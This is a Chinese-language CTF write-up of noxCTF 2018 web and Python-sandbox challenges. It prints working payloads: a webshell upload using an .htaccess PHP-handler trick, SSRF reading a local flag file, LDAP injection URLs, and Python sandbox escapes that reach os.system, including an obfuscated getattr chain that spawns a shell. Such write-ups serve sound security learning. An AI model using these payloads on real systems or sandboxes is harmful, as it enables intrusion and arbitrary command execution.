九月刚开学第一周,发现ctftime上有两场比赛,都做了做 web 和部分 misc。感觉质量很不错,就拿出来分享一下

WEB

MyFileUploader

传个图片上去,访问uploads目录
noxCTF 2018 WEB && PYSandbox 部分 wp-ShaoBaoBaoEr's Blog

有个奇怪的文件夹,里面有 .access 文件

Options +Indexes
AddType application/x-httpd-php .cyb3r

也就是说 cyb3r 会被解析为 php文件。

传个webshell 改为shell.png.cyb3r即可搞定。

noxCTF 2018 WEB && PYSandbox 部分 wp-ShaoBaoBaoEr's Blog
noxCTF 2018 WEB && PYSandbox 部分 wp-ShaoBaoBaoEr's Blog

Hidden DOM

题目叫做隐藏的dom节点,估计考JS的

进去之后直接看源码,果然有惊喜,但是flag.txt是不能直接访问的。

<a href="/var/www/html/flag.txt" hidden="">-_-</a>

看来这个 SSRF 应该不会考一些很稀奇古怪的东西。尝试一下 http://127.0.0.1/ 果然有内容

noxCTF 2018 WEB && PYSandbox 部分 wp-ShaoBaoBaoEr's Blog

F12 看源码,有一段稀奇古怪的JS。首先先把当前页面的JS变量打印出来

$.each(window,function(i,o){
    if(typeof o ==="string"){
        console.info(window[o]);
        }
});

OK 果然有个惊喜,结合其他的JS指令,不难发现有个变量
noxCTF 2018 WEB && PYSandbox 部分 wp-ShaoBaoBaoEr's Blog

/<[^<>]{1,}hidden[^<>]{1,}>/

所以,通过传入 expression 参数,能够控制回显的 内容。

传入参数

http://13.59.2.198:5588/?target=file:///var/www/html/flag.txt&expression=/.*/
》》 noxCTF{/[h1DD3N]*[55Rf]*[r393X]*/}

GET FLAG

Dictionary of obscure sorrows

似乎又遇上了不会的东西,这是一道LNDP 的题目,做的时候在想着如何来拿源码啥的
这边先放几个文章,以后再看
http://www.freebuf.com/articles/rookie/170322.html
https://www.jianshu.com/p/d94673be9ed0
http://drops.xmd5.com/static/drops/tips-967.html
http://www.4hou.com/technology/9090.html

关于LNDP 的具体复现,以后再说。
首先,需要我们注入的页面是 word.php

将page 改为 S* 返回正常。

当删除参数的时候,返回的错误信息是

Missing RDN inside ObjectClass(document)

所以,我们发现缺失了 document 对象

WP作者提供了一个文档,https://oav.net/mirrors/LDAP-ObjectClasses.html

OK,通过查阅文档我们发现他有这些子类
noxCTF 2018 WEB && PYSandbox 部分 wp-ShaoBaoBaoEr's Blog

另外,flag 格式为 noxCTF,可以尝试搜一下

http://54.152.220.222/word.php?page=*)(description=nox*
或者
http://54.152.220.222/word.php?page=*)(description=*CTF*
# )相当于闭合,和sql注入类似

MISC

感觉这三道python 沙盒出的很不错。也感觉现在的趋势都是往python出了

Python for fun

这题我白天做的时候还能做,晚上就被人玩坏了,写wp的时候参考了别人的图片

noxCTF 2018 WEB && PYSandbox 部分 wp-ShaoBaoBaoEr's Blog

输入a,b 函数成功返回。

尝试输入一些恶意字符,比如b=dir()[0]

很明显没有被过滤

noxCTF 2018 WEB && PYSandbox 部分 wp-ShaoBaoBaoEr's Blog

但是当输入 print(“sgha”)的时候,依然可以回显。

尝试用 exec 函数来搞点事情。

noxCTF 2018 WEB && PYSandbox 部分 wp-ShaoBaoBaoEr's Blog

OK,直接将flag读一下就可以了

noxCTF 2018 WEB && PYSandbox 部分 wp-ShaoBaoBaoEr's Blog

Python for fun 2

这道题比起上到题目,过滤了exec和open,还有__name__。另外我推测flag应该就是 FLAG 这个文件

NameError: name 'open' is not defined
NameError: name 'exec' is not defined

由于 __name__被禁用了,有包进来了别的包,我始终找不到可爱的 'catch_warnings' 在何处。也许写个脚本可以爆破出来。

利用 payload 可GET SHELL 注意这里的python 版本为3

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("cat FLAG")

>> noxCTF{py7h0n_15_4w350m3}

Smooth-snake

这getflag的思路可真是太清新了

说是一道流量题,其实和流量没有半毛钱关系,直接过了http可以找到flag.html和一张图片

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">

    <!-- Always force latest IE rendering engine or request Chrome Frame -->
    <meta content="IE=edge,chrome=1" http-equiv="X-UA-Compatible">
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />

    <!-- Use title if it's in the page YAML frontmatter -->
    <title>noxCTF</title>

I Have The Flag, but only the snake know how to get it. Try to find the snake pic    
  </body>
</html>

图片的末尾有b64字符串,几番解密可以得到
nc 18.223.150.0 674

这是一个Python 沙盒,几番测试,其过滤的内容如下(看了wp 把内容补全了)

._'\:
import
os
sys
open
eval
exec
compile
bytes
type
frozenset
vars
chr
locals
if
try
except

由于 . 和 下划线被过滤,所以我们需要利用一些手段。另外通过print 我们可以知道这是python3的沙箱

. ==> getattr
_ to dir(0)[0][0]

我们想要的内容是

# python 3.6.6 linux
().__class__.__bases__[0].__subclasses__()[157]()._module.__builtins__['__import__']("os").system("ls")
# python 3.7 linux 下 <class 'warnings.catch_warnings'> 被移除,需要import warnings 才行
# python 3.7 win32
{}.__class__.__base__.__subclasses__()[140]()._module.__builtins__["__import__"]("os").system("dir")

不过后来我发现如果import 了别的东西,这个数值就不固定了。自己的payload过不了关,最好的方法还是应该把catch_warnings 用循环找出来

{}.__class__.__base__.__subclasses__()[[i.__name__ == "catch_warnings" for i in {}.__class__.__base__.__subclasses__()].index(True)]()._module.__builtins__["__import__"]("os").system("sh")

==>

getattr(getattr(getattr(getattr(getattr(getattr((), dir(0)[0][0]*2+"class"+dir(0)[0][0]*2), dir(0)[0][0]*2+"base"+dir(0)[0][0]*2), dir(0)[0][0]*2+"subcl"+"asses"+dir(0)[0][0]*2)()[getattr([getattr(i, dir(0)[0][0]*2+"name"+dir(0)[0][0]*2) == "catch"+dir(0)[0][0]+"warnings" for i in getattr(getattr(getattr((), dir(0)[0][0]*2+"class"+dir(0)[0][0]*2), dir(0)[0][0]*2+"base"+dir(0)[0][0]*2), dir(0)[0][0]*2+"subcl"+"asses"+dir(0)[0][0]*2)()], "index")(True)](), dir(0)[0][0]+"module"), dir(0)[0][0]*2+"builtins"+dir(0)[0][0]*2)[dir(0)[0][0]*2+"imp"+"ort"+dir(0)[0][0]*2]("o"+"s"), "sy"+"stem")("sh")

最后打开bash getflag

ls
challenge.pyc
secrets.txt
cat secrets.txt
noxCTF{v3n0m_pyc4p}